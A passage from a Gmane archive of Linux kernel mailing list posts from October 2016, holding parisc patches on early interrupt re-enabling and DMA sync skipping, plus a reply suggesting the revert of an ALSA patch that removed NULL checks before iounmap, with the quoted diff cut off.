 	 * For PCI_DMA_FROMDEVICE this flush is not necessary for the
@@ -479,7 +484,6 @@ static void pa11_dma_unmap_page(struct device *dev, dma_addr_t dma_handle,
 	 */
 
 	flush_kernel_dcache_range((unsigned long) phys_to_virt(dma_handle), size);
-	return;
 }
 
 static int pa11_dma_map_sg(struct device *dev, struct scatterlist *sglist,
@@ -496,6 +500,10 @@ static int pa11_dma_map_sg(struct device *dev, struct scatterlist *sglist,
 
 		sg_dma_address(sg) = (dma_addr_t) virt_to_phys(vaddr);
 		sg_dma_len(sg) = sg->length;
+
+		if (attrs & DMA_ATTR_SKIP_CPU_SYNC)
+			continue;
+
 		flush_kernel_dcache_range(vaddr, sg->length);
 	}
 	return nents;
@@ -510,14 +518,16 @@ static void pa11_dma_unmap_sg(struct device *dev, struct scatterlist *sglist,
 
 	BUG_ON(direction == DMA_NONE);
 
+	if (attrs & DMA_ATTR_SKIP_CPU_SYNC)
+		return;
+
 	if (direction == DMA_TO_DEVICE)
-	    return;
+		return;
 
 	/* once we do combining we'll need to use phys_to_virt(sg_dma_address(sglist)) */
 
 	for_each_sg(sglist, sg, nents, i)
 		flush_kernel_vmap_range(sg_virt(sg), sg->length);
-	return;
 }
 
 static void pa11_dma_sync_single_for_cpu(struct device *dev,

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:39:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Re-enable interrupts early
Date: Mon, 24 Oct 2016 21:55:58 +0200
Lines: 44
Approved: news@gmane.org
Message-ID: <20161024195553.GA27612@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1477338999 21591 195.159.176.226 (24 Oct 2016 19:56:39 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 24 Oct 2016 19:56:39 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Oct 24 21:56:35 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1bylLw-0002X1-UM
	for glpp-linux-parisc@m.gmane.org; Mon, 24 Oct 2016 21:56:13 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S941310AbcJXT4N (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 24 Oct 2016 15:56:13 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:61388 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S938739AbcJXT4L (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 24 Oct 2016 15:56:11 -0400
Original-Received: from p100.box ([92.203.9.251]) by mail.gmx.com (mrgmx102) with
 ESMTPSA (Nemesis) id 0MT60g-1cNOx22NwE-00S8aU; Mon, 24 Oct 2016 21:56:02
 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:fZAGtqubj9pzH1W5VcBi6CU0D+hW4zQKWOcFIWBtsW6chJLLY3G
 KgsWrQn3/iFXJ8Oy8PhztEvi7Fl0oR00cRSbWPWpLEs2Om4v/bQx1g9zJT33iL8ebb+xs7o
 TUvs+kwgvv1cjsvQZy3NaH6qOWuuYOpGaUL4a6A+3UqxgaXNYWkgiJZs6ccBzkRlJqLvsum
 XUP2+1OPay2Gc61uq5vFQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:46ZFKtvhiS4=:851UBZHXGGai7Ijx9kpHuU
 3UIp9/TiLShbLlxssBCi+6ICdkmB+GL9T/okjT9gf2I0FrFCh16cvo+3VdW1xyLG891TwB0iH
 sKAOALNqXfrD/+6WDLdsFkCmJrIBRQ6h7J/aOPxIxrqVX8x9GPvf/fldvMHU4DvyNbSYuhkE0
 Qo4Fstz5FyZcmebomwhFXSDhCT4ZyxUvnuSkTq4VND0rdiy4pRt0HXWg03ZffIWPYmOOkyrAw
 xi6YDepRaJL2Xa/0d9uSD6rt+K4GyfZ88TIUcuz3/lMBrfVpsHkj08o4qDTmzMOuirND7++qh
 ub0UAuVXFWP8H8hiwfNl9sPPCRVd+7rofNwV3JKS3HVDUId44SH/6LtWZmPoM0BlF8S50hbU4
 TniG+BSwLYFP8cu3rHKxQ6EnWQcJMuXqHa4wmGUsj2C89pf0xXzzl6etXOLwSeI3LQzFea3nD
 V3KX/m0Nr3NL8I4pNkxA7yFMQJV9NOsEPN3QzwjGeFls3kRDI1C/QIgMlwja7tifMAuD70iTn
 fwJ8TOgYZwtHO9Wyltm4iarzDAYcWjnTN19I3qQhJqKjuiKizf3ZLLiV8tDR1n0PdYiYf6BMa
 0GEaB9qStfZhHfFkQS3vyyvqTzQXNUXeQhUoM4M7dxROPzjwYEaSEw70HAvxC5BNO8RMI8gN1
 8cfkXFXIRUh+PhX3Rgwr0sTrIAv4xMUuCpd0rdbV11sD+O45+dOdAOA56GZaepU0HUlh4wZsO
 nbUkULN1Y4KsPDZQN+/8saPyQ+fEia1uvEQcnjhAQq273BswyLSwABPnmU8=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27012
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27012>

Since kernel 3.9 we re-enable interrupts quite late due to commit c207a76bf15
("parisc: only re-enable interrupts if we need to schedule or deliver signals
when returning to userspace"). At that time the parisc kernel had no dedicated
IRQ stack, and this commit prevented kernel stack overflows.

But since commit 200c880420a ("parisc: implement irq stacks") we now have an
IRQ stack, so we may be safe now.  And when CONFIG_DEBUG_STACKOVERFLOW=y is
enabled, we can even check at runtime for overflows.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/entry.S b/arch/parisc/kernel/entry.S
index 4fcff2d..ad4cb16 100644
--- a/arch/parisc/kernel/entry.S
+++ b/arch/parisc/kernel/entry.S
@@ -878,6 +878,9 @@ ENTRY_CFI(syscall_exit_rfi)
 	STREG   %r19,PT_SR7(%r16)
 
 intr_return:
+	/* NOTE: Need to enable interrupts incase we schedule. */
+	ssm     PSW_SM_I, %r0
+
 	/* check for reschedule */
 	mfctl   %cr30,%r1
 	LDREG   TI_FLAGS(%r1),%r19	/* sched.h: TIF_NEED_RESCHED */
@@ -904,11 +907,6 @@ intr_check_sig:
 	LDREG	PT_IASQ1(%r16), %r20
 	cmpib,COND(=),n 0,%r20,intr_restore /* backward */
 
-	/* NOTE: We need to enable interrupts if we have to deliver
-	 * signals. We used to do this earlier but it caused kernel
-	 * stack overflows. */
-	ssm     PSW_SM_I, %r0
-
 	copy	%r0, %r25			/* long in_syscall = 0 */
 #ifdef CONFIG_64BIT
 	ldo	-16(%r30),%r29			/* Reference param save area */
@@ -960,10 +958,6 @@ intr_do_resched:
 	cmpib,COND(=)	0, %r20, intr_do_preempt
 	nop
 
-	/* NOTE: We need to enable interrupts if we schedule.  We used
-	 * to do this earlier but it caused kernel stack overflows. */
-	ssm     PSW_SM_I, %r0

From - Thu Nov 08 21:39:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexander Duyck <alexander.h.duyck@intel.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.network,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [net-next PATCH 17/27] arch/parisc: Add option to skip DMA sync as
 a part of map and unmap
Date: Tue, 25 Oct 2016 11:38:18 -0400
Lines: 85
Approved: news@gmane.org
Message-ID: <20161025153818.4815.15885.stgit@ahduyck-blue-test.jf.intel.com>
References: <20161025153220.4815.61239.stgit@ahduyck-blue-test.jf.intel.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1477431593 31893 195.159.176.226 (25 Oct 2016 21:39:53 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 25 Oct 2016 21:39:53 +0000 (UTC)
User-Agent: StGit/0.17.1-dirty
Cc: Helge Deller <deller@gmx.de>, brouer@redhat.com,
 "James E.J. Bottomley" <jejb@parisc-linux.org>, linux-parisc@vger.kernel.org,
 davem@davemloft.net
To: netdev@vger.kernel.org, intel-wired-lan@lists.osuosl.org,
 linux-kernel@vger.kernel.org, linux-mm@kvack.org
Original-X-From: owner-linux-mm@kvack.org Tue Oct 25 23:39:42 2016
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1bz9Qt-00025l-UG
	for glkm-linux-mm-2@m.gmane.org; Tue, 25 Oct 2016 23:38:56 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id 721FD6B0289; Tue, 25 Oct 2016 17:38:57 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 683D26B028A; Tue, 25 Oct 2016 17:38:57 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 54B3D6B028B; Tue, 25 Oct 2016 17:38:57 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-pa0-f72.google.com (mail-pa0-f72.google.com [209.85.220.72])
	by kanga.kvack.org (Postfix) with ESMTP id 26DFE6B0289
	for <linux-mm@kvack.org>; Tue, 25 Oct 2016 17:38:57 -0400 (EDT)
Original-Received: by mail-pa0-f72.google.com with SMTP id fn5so7241177pab.3
        for <linux-mm@kvack.org>; Tue, 25 Oct 2016 14:38:57 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-original-authentication-results:x-gm-message-state:subject:from
         :to:cc:date:message-id:in-reply-to:references:user-agent
         :mime-version:content-transfer-encoding;
        bh=Oqq5DARJL4OYVF1FA8ac9jaHDJBmGNy009SvBZqv3Xo=;
        b=V6FaPsLNSa6q+GUrgkRW/QSljOWxRON8GLXi4q7OFCmV6ajcx7B//dOB0nzrfO2qat
         yvQdQnw++Ne/rYu1m2GhG2vR5rOScKAkUyfqmku0h3x1awi2PcN5cYZ8F+NqDbDdtVV4
         QD4gTksUJGFNy5gadHKYPH0C68SZA7mCVMt/6Us6iAWTu/CjKUk9JhI/wSHcm16ggdn0
         yAa+S6uHo4rKYsNDcRBhELYa8g0KF46gQ5rc6zLyAkL8L+JYn24TbK4gh+dXuh9xt/JG
         mjrhX6v4h/Qfw1egG3qgp+vVVNJEseFTrQZ0uxs7iKYSFMMHSibQA20hCfTaKvFwOh0w
         ezjQ==
X-Original-Authentication-Results: mx.google.com;       spf=pass (google.com: domain of alexander.h.duyck@intel.com designates 134.134.136.20 as permitted sender) smtp.mailfrom=alexander.h.duyck@intel.com
X-Gm-Message-State: ABUngvcoswAMVVovhDZvaX/dqXO+Kc4Fz1G+pm7PQidVnhhI3VxXFi0hZsiCy6qzsF9yY7AEBydf1riUGqsRlI+TnjGpJTf7zp2lrnqX1hrUkrO4Gfp7RdXYcZGJDOOv0vrsYiZcbtM4WJpDBY3ORP2cSmsN4tra/TVm5RgwUdpC2dFbUKbBk7RdOWno
X-Received: by 10.99.10.20 with SMTP id 20mr35460784pgk.98.1477431536824;
        Tue, 25 Oct 2016 14:38:56 -0700 (PDT)
X-Received: by 10.99.10.20 with SMTP id 20mr35460755pgk.98.1477431536540;
        Tue, 25 Oct 2016 14:38:56 -0700 (PDT)
Original-Received: from mga02.intel.com (mga02.intel.com. [134.134.136.20])
        by mx.google.com with ESMTPS id 3si22682315pft.170.2016.10.25.14.38.56
        for <linux-mm@kvack.org>
        (version=TLS1 cipher=AES128-SHA bits=128/128);
        Tue, 25 Oct 2016 14:38:56 -0700 (PDT)
Received-SPF: pass (google.com: domain of alexander.h.duyck@intel.com designates 134.134.136.20 as permitted sender) client-ip=134.134.136.20;
Authentication-Results: mx.google.com;
       spf=pass (google.com: domain of alexander.h.duyck@intel.com designates 134.134.136.20 as permitted sender) smtp.mailfrom=alexander.h.duyck@intel.com
Original-Received: from orsmga003.jf.intel.com ([10.7.209.27])
  by orsmga101.jf.intel.com with ESMTP; 25 Oct 2016 14:38:57 -0700
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.31,399,1473145200"; 
   d="scan'208";a="893927604"
Original-Received: from ahduyck-blue-test.jf.intel.com ([134.134.2.201])
  by orsmga003.jf.intel.com with ESMTP; 25 Oct 2016 14:38:57 -0700
In-Reply-To: <20161025153220.4815.61239.stgit@ahduyck-blue-test.jf.intel.com>
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:160030 gmane.linux.network:436383 gmane.linux.kernel:2335017 gmane.linux.ports.parisc:27013
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/160030>

This change allows us to pass DMA_ATTR_SKIP_CPU_SYNC which allows us to
avoid invoking cache line invalidation if the driver will just handle it
via a sync_for_cpu or sync_for_device call.

Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: Helge Deller <deller@gmx.de>
Cc: linux-parisc@vger.kernel.org
Signed-off-by: Alexander Duyck <alexander.h.duyck@intel.com>
---
 arch/parisc/kernel/pci-dma.c |   20 +++++++++++++++-----
 1 file changed, 15 insertions(+), 5 deletions(-)

diff --git a/arch/parisc/kernel/pci-dma.c b/arch/parisc/kernel/pci-dma.c
index 02d9ed0..be55ede 100644
--- a/arch/parisc/kernel/pci-dma.c
+++ b/arch/parisc/kernel/pci-dma.c
@@ -459,7 +459,9 @@ static dma_addr_t pa11_dma_map_page(struct device *dev, struct page *page,
 	void *addr = page_address(page) + offset;
 	BUG_ON(direction == DMA_NONE);
 
-	flush_kernel_dcache_range((unsigned long) addr, size);
+	if (!(attrs & DMA_ATTR_SKIP_CPU_SYNC))
+		flush_kernel_dcache_range((unsigned long) addr, size);
+
 	return virt_to_phys(addr);
 }
 
@@ -469,8 +471,11 @@ static void pa11_dma_unmap_page(struct device *dev, dma_addr_t dma_handle,
 {
 	BUG_ON(direction == DMA_NONE);
 
+	if (attrs & DMA_ATTR_SKIP_CPU_SYNC)
+		return;
+
 	if (direction == DMA_TO_DEVICE)
-	    return;
+		return;
 
 	/*
 	 * For PCI_DMA_FROMDEVICE this flush is not necessary for the
@@ -479,7 +484,6 @@ static void pa11_dma_unmap_page(struct device *dev, dma_addr_t dma_handle,
 	 */
 
 	flush_kernel_dcache_range((unsigned long) phys_to_virt(dma_handle), size);
-	return;
 }
 
 static int pa11_dma_map_sg(struct device *dev, struct scatterlist *sglist,
@@ -496,6 +500,10 @@ static int pa11_dma_map_sg(struct device *dev, struct scatterlist *sglist,
 
 		sg_dma_address(sg) = (dma_addr_t) virt_to_phys(vaddr);
 		sg_dma_len(sg) = sg->length;
+
+		if (attrs & DMA_ATTR_SKIP_CPU_SYNC)
+			continue;
+
 		flush_kernel_dcache_range(vaddr, sg->length);
 	}
 	return nents;
@@ -510,14 +518,16 @@ static void pa11_dma_unmap_sg(struct device *dev, struct scatterlist *sglist,
 
 	BUG_ON(direction == DMA_NONE);
 
+	if (attrs & DMA_ATTR_SKIP_CPU_SYNC)
+		return;
+
 	if (direction == DMA_TO_DEVICE)
-	    return;
+		return;
 
 	/* once we do combining we'll need to use phys_to_virt(sg_dma_address(sglist)) */
 
 	for_each_sg(sglist, sg, nents, i)
 		flush_kernel_vmap_range(sg_virt(sg), sg->length);
-	return;
 }
 
 static void pa11_dma_sync_single_for_cpu(struct device *dev,

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:39:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Dan Carpenter <dan.carpenter@oracle.com>
Newsgroups: gmane.linux.ports.ppc.embedded,gmane.linux.alsa.devel,gmane.linux.ports.parisc,gmane.linux.kernel.janitors,gmane.linux.kernel
Subject: Re: [PATCH 11/13] ALSA: Deletion of checks before the function call
 "iounmap"
Date: Wed, 26 Oct 2016 15:26:05 +0300
Lines: 487
Approved: news@gmane.org
Message-ID: <20161026122605.GA3911@mwanda>
References: <alpine.DEB.2.10.1402251014170.2080@hadrien>
 <530CD2C4.4050903@users.sourceforge.net>
 <alpine.DEB.2.10.1402251840450.7035@hadrien>
 <530CF8FF.8080600@users.sourceforge.net>
 <alpine.DEB.2.02.1402252117150.2047@localhost6.localdomain6>
 <530DD06F.4090703@users.sourceforge.net>
 <alpine.DEB.2.02.1402262129250.2221@localhost6.localdomain6>
 <5317A59D.4@users.sourceforge.net>
 <54A9355F.4050102@users.sourceforge.net>
 <54A941C1.4020906@users.sourceforge.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1477484910 14512 195.159.176.226 (26 Oct 2016 12:28:30 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 26 Oct 2016 12:28:30 +0000 (UTC)
User-Agent: Mutt/1.5.21 (2010-09-15)
Cc: alsa-devel@alsa-project.org, Russell King <linux@arm.linux.org.uk>,
 linux-parisc@vger.kernel.org, Takashi Iwai <tiwai@suse.de>,
 kernel-janitors@vger.kernel.org, Clemens Ladisch <clemens@ladisch.de>,
 LKML <linux-kernel@vger.kernel.org>, Jaroslav Kysela <perex@perex.cz>,
 Julia Lawall <julia.lawall@lip6.fr>, Thibaut Varene <T-Bone@parisc-linux.org>,
 Johannes Berg <johannes@sipsolutions.net>, linuxppc-dev@lists.ozlabs.org
To: SF Markus Elfring <elfring@users.sourceforge.net>
Original-X-From: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org Wed Oct 26 14:28:24 2016
Return-path: <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>
Envelope-to: glppe-linuxppc-embedded-2@m.gmane.org
Original-Received: from lists.ozlabs.org ([103.22.144.68])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>)
	id 1bzNJN-0000oD-Dh
	for glppe-linuxppc-embedded-2@m.gmane.org; Wed, 26 Oct 2016 14:28:06 +0200
Original-Received: from lists.ozlabs.org (lists.ozlabs.org [IPv6:2401:3900:2:1::3])
	by lists.ozlabs.org (Postfix) with ESMTP id 3t3q6v0cxVzDt5g
	for <glppe-linuxppc-embedded-2@m.gmane.org>; Wed, 26 Oct 2016 23:28:07 +1100 (AEDT)
X-Original-To: linuxppc-dev@lists.ozlabs.org
Delivered-To: linuxppc-dev@lists.ozlabs.org
Original-Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69])
 (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
 (No client certificate requested)
 by lists.ozlabs.org (Postfix) with ESMTPS id 3t3q5J5gxwzDt2x
 for <linuxppc-dev@lists.ozlabs.org>; Wed, 26 Oct 2016 23:26:44 +1100 (AEDT)
Original-Received: from userv0021.oracle.com (userv0021.oracle.com [156.151.31.71])
 by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id
 u9QCQHcb017279
 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
 Wed, 26 Oct 2016 12:26:18 GMT
Original-Received: from aserv0122.oracle.com (aserv0122.oracle.com [141.146.126.236])
 by userv0021.oracle.com (8.14.4/8.14.4) with ESMTP id u9QCQGHb023360
 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
 Wed, 26 Oct 2016 12:26:17 GMT
Original-Received: from abhmp0004.oracle.com (abhmp0004.oracle.com [141.146.116.10])
 by aserv0122.oracle.com (8.14.4/8.14.4) with ESMTP id u9QCQDTn021156;
 Wed, 26 Oct 2016 12:26:14 GMT
Original-Received: from mwanda (/41.202.241.57) by default (Oracle Beehive Gateway v4.0)
 with ESMTP ; Wed, 26 Oct 2016 05:26:11 -0700
Content-Disposition: inline
In-Reply-To: <54A941C1.4020906@users.sourceforge.net>
X-Source-IP: userv0021.oracle.com [156.151.31.71]
X-BeenThere: linuxppc-dev@lists.ozlabs.org
X-Mailman-Version: 2.1.23
Precedence: list
List-Id: Linux on PowerPC Developers Mail List <linuxppc-dev.lists.ozlabs.org>
List-Unsubscribe: <https://lists.ozlabs.org/options/linuxppc-dev>,
 <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=unsubscribe>
List-Archive: <http://lists.ozlabs.org/pipermail/linuxppc-dev/>
List-Post: <mailto:linuxppc-dev@lists.ozlabs.org>
List-Help: <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=help>
List-Subscribe: <https://lists.ozlabs.org/listinfo/linuxppc-dev>,
 <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=subscribe>
Errors-To: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org
Original-Sender: "Linuxppc-dev"
 <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>
Xref: news.gmane.org gmane.linux.ports.ppc.embedded:102800 gmane.linux.alsa.devel:160479 gmane.linux.ports.parisc:27014 gmane.linux.kernel.janitors:40871 gmane.linux.kernel:2335521
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ppc.embedded/102800>

Someone was just mentioning in another thread that removing the check
from iounmap() is not portable to other arches and then I remembered
that Markus removed a bunch of these.

We should consider reverting this, perhaps?

regards,
dan carpenter

On Sun, Jan 04, 2015 at 02:36:01PM +0100, SF Markus Elfring wrote:
> From: Markus Elfring <elfring@users.sourceforge.net>
> Date: Sat, 3 Jan 2015 22:55:54 +0100
> 
> The iounmap() function performs also input parameter validation.
> Thus the test around the call is not needed.
> 
> This issue was detected by using the Coccinelle software.
> 
> Signed-off-by: Markus Elfring <elfring@users.sourceforge.net>
> ---
>  sound/aoa/soundbus/i2sbus/core.c | 13 ++++++-------
>  sound/arm/aaci.c                 |  4 ++--
>  sound/drivers/ml403-ac97cr.c     |  3 +--
>  sound/isa/msnd/msnd_pinnacle.c   |  3 +--
>  sound/parisc/harmony.c           |  4 +---
>  sound/pci/ad1889.c               |  5 +----
>  sound/pci/asihpi/hpioctl.c       |  6 ++----
>  sound/pci/atiixp.c               |  3 +--
>  sound/pci/atiixp_modem.c         |  3 +--
>  sound/pci/aw2/aw2-alsa.c         |  4 +---
>  sound/pci/bt87x.c                |  3 +--
>  sound/pci/cs4281.c               |  6 ++----
>  sound/pci/cs46xx/cs46xx_lib.c    |  4 ++--
>  sound/pci/ctxfi/cthw20k1.c       |  5 +----
>  sound/pci/ctxfi/cthw20k2.c       |  5 +----
>  sound/pci/echoaudio/echoaudio.c  |  6 +-----
>  sound/pci/hda/hda_intel.c        |  3 +--
>  sound/pci/lola/lola.c            |  6 ++----
>  sound/pci/mixart/mixart.c        |  7 +++----
>  sound/pci/nm256/nm256.c          |  6 ++----
>  sound/pci/rme9652/hdsp.c         |  4 +---
>  sound/pci/rme9652/hdspm.c        |  4 +---
>  sound/pci/rme9652/rme9652.c      |  3 +--
>  sound/pci/sis7019.c              |  5 +----
>  sound/pci/ymfpci/ymfpci_main.c   |  3 +--
>  sound/ppc/pmac.c                 | 15 +++++----------
>  26 files changed, 43 insertions(+), 90 deletions(-)
> 
> diff --git a/sound/aoa/soundbus/i2sbus/core.c b/sound/aoa/soundbus/i2sbus/core.c
> index 4e2b4fb..7835045 100644
> --- a/sound/aoa/soundbus/i2sbus/core.c
> +++ b/sound/aoa/soundbus/i2sbus/core.c
> @@ -74,10 +74,9 @@ static void i2sbus_release_dev(struct device *dev)
>  	int i;
>  
>  	i2sdev = container_of(dev, struct i2sbus_dev, sound.ofdev.dev);
> -
> - 	if (i2sdev->intfregs) iounmap(i2sdev->intfregs);
> - 	if (i2sdev->out.dbdma) iounmap(i2sdev->out.dbdma);
> - 	if (i2sdev->in.dbdma) iounmap(i2sdev->in.dbdma);
> +	iounmap(i2sdev->intfregs);
> +	iounmap(i2sdev->out.dbdma);
> +	iounmap(i2sdev->in.dbdma);
>  	for (i = aoa_resource_i2smmio; i <= aoa_resource_rxdbdma; i++)
>  		release_and_free_resource(i2sdev->allocated_resource[i]);
>  	free_dbdma_descriptor_ring(i2sdev, &i2sdev->out.dbdma_ring);
> @@ -318,9 +317,9 @@ static int i2sbus_add_dev(struct macio_dev *macio,
>  			free_irq(dev->interrupts[i], dev);
>  	free_dbdma_descriptor_ring(dev, &dev->out.dbdma_ring);
>  	free_dbdma_descriptor_ring(dev, &dev->in.dbdma_ring);
> -	if (dev->intfregs) iounmap(dev->intfregs);
> -	if (dev->out.dbdma) iounmap(dev->out.dbdma);
> -	if (dev->in.dbdma) iounmap(dev->in.dbdma);
> +	iounmap(dev->intfregs);
> +	iounmap(dev->out.dbdma);
> +	iounmap(dev->in.dbdma);
>  	for (i=0;i<3;i++)
>  		release_and_free_resource(dev->allocated_resource[i]);
>  	mutex_destroy(&dev->lock);
> diff --git a/sound/arm/aaci.c b/sound/arm/aaci.c
> index 0e83a73..4140b1b 100644
> --- a/sound/arm/aaci.c
> +++ b/sound/arm/aaci.c
> @@ -889,8 +889,8 @@ static int aaci_probe_ac97(struct aaci *aaci)
>  static void aaci_free_card(struct snd_card *card)
>  {
>  	struct aaci *aaci = card->private_data;
> -	if (aaci->base)
> -		iounmap(aaci->base);
> +
> +	iounmap(aaci->base);
>  }
>  
>  static struct aaci *aaci_init_card(struct amba_device *dev)
> diff --git a/sound/drivers/ml403-ac97cr.c b/sound/drivers/ml403-ac97cr.c
> index ec01de1..bdcb572 100644
> --- a/sound/drivers/ml403-ac97cr.c
> +++ b/sound/drivers/ml403-ac97cr.c
> @@ -1094,8 +1094,7 @@ static int snd_ml403_ac97cr_free(struct snd_ml403_ac97cr *ml403_ac97cr)
>  	if (ml403_ac97cr->capture_irq >= 0)
>  		free_irq(ml403_ac97cr->capture_irq, ml403_ac97cr);
>  	/* give back "port" */
> -	if (ml403_ac97cr->port != NULL)
> -		iounmap(ml403_ac97cr->port);
> +	iounmap(ml403_ac97cr->port);
>  	kfree(ml403_ac97cr);
>  	PDEBUG(INIT_INFO, "free(): (done)\n");
>  	return 0;
> diff --git a/sound/isa/msnd/msnd_pinnacle.c b/sound/isa/msnd/msnd_pinnacle.c
> index 65b3682..4c07266 100644
> --- a/sound/isa/msnd/msnd_pinnacle.c
> +++ b/sound/isa/msnd/msnd_pinnacle.c
> @@ -627,8 +627,7 @@ static int snd_msnd_attach(struct snd_card *card)
>  	return 0;
>  
>  err_release_region:
> -	if (chip->mappedbase)
> -		iounmap(chip->mappedbase);
> +	iounmap(chip->mappedbase);
>  	release_mem_region(chip->base, BUFFSIZE);
>  	release_region(chip->io, DSP_NUMIO);
>  	free_irq(chip->irq, chip);
> diff --git a/sound/parisc/harmony.c b/sound/parisc/harmony.c
> index 29604a2..f2350c1 100644
> --- a/sound/parisc/harmony.c
> +++ b/sound/parisc/harmony.c
> @@ -893,9 +893,7 @@ snd_harmony_free(struct snd_harmony *h)
>  	if (h->irq >= 0)
>  		free_irq(h->irq, h);
>  
> -	if (h->iobase)
> -		iounmap(h->iobase);
> -
> +	iounmap(h->iobase);
>  	kfree(h);
>  	return 0;
>  }
> diff --git a/sound/pci/ad1889.c b/sound/pci/ad1889.c
> index 547ee30..0de3129 100644
> --- a/sound/pci/ad1889.c
> +++ b/sound/pci/ad1889.c
> @@ -853,12 +853,9 @@ snd_ad1889_free(struct snd_ad1889 *chip)
>  		free_irq(chip->irq, chip);
>  
>  skip_hw:
> -	if (chip->iobase)
> -		iounmap(chip->iobase);
> -
> +	iounmap(chip->iobase);
>  	pci_release_regions(chip->pci);
>  	pci_disable_device(chip->pci);
> -
>  	kfree(chip);
>  	return 0;
>  }
> diff --git a/sound/pci/asihpi/hpioctl.c b/sound/pci/asihpi/hpioctl.c
> index 72af66b..67d1133 100644
> --- a/sound/pci/asihpi/hpioctl.c
> +++ b/sound/pci/asihpi/hpioctl.c
